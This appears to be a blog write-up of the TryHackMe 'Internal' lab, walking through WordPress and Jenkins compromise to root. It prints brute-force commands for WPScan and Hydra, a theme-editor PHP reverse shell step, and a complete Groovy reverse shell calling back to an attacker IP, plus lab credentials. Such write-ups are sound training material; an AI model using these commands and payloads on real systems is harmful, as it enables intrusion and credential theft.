Hosts File Configuration
Add the domain internal.thm to the /etc/hosts file
nano /etc/hosts
10.113.175.55 internal.thm
Reconnaissance
Perform a comprehensive port scan on the target using Nmap
nmap -Pn -A -p- -T4 10.113.175.55
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/21%OT=22%CT=1%CU=41489%PV=Y%DS=1%DC=T%G=Y%TM=69E7F97
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M23
OS:01ST11NW7%O6=M2301ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4
OS:B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 0.99 ms 10.113.175.55There are only two ports open: SSH and HTTP
Web Application Enumeration
http://internal.thm/
Run dirsearch to discover hidden directories
dirsearch -u http://internal.thm/
[23:41:14] 301 - 311B - /blog -> http://internal.thm/blog/
[23:41:14] 200 - 2KB - /blog/wp-login.php
[23:41:14] 200 - 18KB - /blog/
[23:41:31] 301 - 317B - /javascript -> http://internal.thm/javascript/
[23:41:44] 301 - 317B - /phpmyadmin -> http://internal.thm/phpmyadmin/
[23:41:45] 200 - 3KB - /phpmyadmin/
[23:41:46] 200 - 3KB - /phpmyadmin/index.php
[23:41:46] 200 - 3KB - /phpmyadmin/doc/html/index.html
[23:41:53] 403 - 277B - /server-status
[23:41:53] 403 - 277B - /server-status/
[23:42:10] 404 - 51KB - /wordpress/
[23:42:10] 200 - 2KB - /wordpress/wp-login.phpNavigating to http://internal.thm/blog confirms WordPress is running with the default theme

http://internal.thm/blog/wp-login.php
WordPress Enumeration
WPScan for User Discovery
using WPScan to enumerate Users
wpscan --url http://internal.thm/blog --enumerate u
The scanner identifies the username admin as a valid WordPress user

XML-RPC is WordPress's API that allows remote actions like:
- Posting/editing content
- Uploading files
- Listing users
- Pingbacks (link notifications)
system.multicallfor batching multiple requests
Normally, one login attempt = one HTTP request.
With XML-RPC's system.multicallI can pack hundreds of login attempts into a single HTTP request
Brute-Forcing the Admin Password
Since XML-RPC is enabled, and I have a valid username adminI can attack it directly through brute-forcing the password using WPScan
wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt --detection-mode aggressive
and found the admin credentials successfully
UserName : admin
Password : my2boysInitial Access — Reverse Shell via Theme Editor
Log in to the admin account

Modifying the 404.php Template
Navigate to Appearance → Theme Editor. The active theme (Twenty Seventeen) allows editing PHP template files.
Select the 404.php template — this file is executed when a page is not found, making it an excellent trigger point for code execution.

Replace its contents with a PHP reverse shell

Start a listener before triggering the shell
nc -lvnp 4444Execute the Modified 404. php from the following path
http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php
A reverse shell connection is established as the www-data user
Privilege Escalation
By exploring the Opt directory, I found that the credentials for 'aubreanna' have been saved in the wp-save.txt file.

UserName : aubreanna
password : bubb13guM!@#123SSH Access as aubreanna
ssh aubreanna@10.113.175.55Once logged in, locate and read the user flag

By discovering the content of the jenkins.txt file and found the following
Jenkins is running on 172.17.0.2:8080
This indicates Jenkins is running inside a Docker container (the IP 172.17.0.2 is a default Docker bridge network address) and is not directly exposed to the attacker's machine

SSH Local Port Forwarding
Since Jenkins is running on an internal Docker network, I need to forward the port to access it from my machine.
I'll use SSH local port forwarding:
ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm
Password: bubb13guM!@#123
Now I can access Jenkins http://localhost:8080 on my browser.

Jenkins Login Brute Force
Jenkins requires authentication. Common default credentials to test manually:
- admin: admin
- jenkins:jenkins
- admin: password
When these fail, I'll use Hydra for a more systematic approach:
Use Burp Suite to get the request and the response in order to use Hydra correctly.

hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"After some time, Hydra finds valid credentials:
Jenkins Credentials:
Username: admin
Password: spongebob

Jenkins Script Console RCE
Jenkins provides a feature called the Script Console (found at Manage Jenkins → Script Console) that allows administrators to execute Groovy scripts on the Jenkins server. Access to this console with administrative privileges leads to Remote Code Execution (RCE)
http://127.0.0.1:8080/scriptIn the Script Console, enter the following Groovy code
String host="10.113.104.196";
int port=4446;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();Start a Netcat listener before running the script:
nc -lvnp 4446
Click Run in the Script Console. The Groovy script executes and establishes a reverse shell connection
Finding Root Credentials
by discovering the file called note.txt, which was in the /opt directory, I found the root credentials.

Username : root
Password : tr0ub13guM!@#123SSH Access as Root
ssh root@10.113.175.55
Once logged in, locate and read the root flag
Finally, thank you very much for reading to the end. I hope you found this article interesting.
Room Link: https://tryhackme.com/room/internal
TryHackMe: https://tryhackme.com/p/AbdallahSamir
LinkedIn: Abdallah Samir | LinkedIn
X(Twitter): https://x.com/abdalla_jr7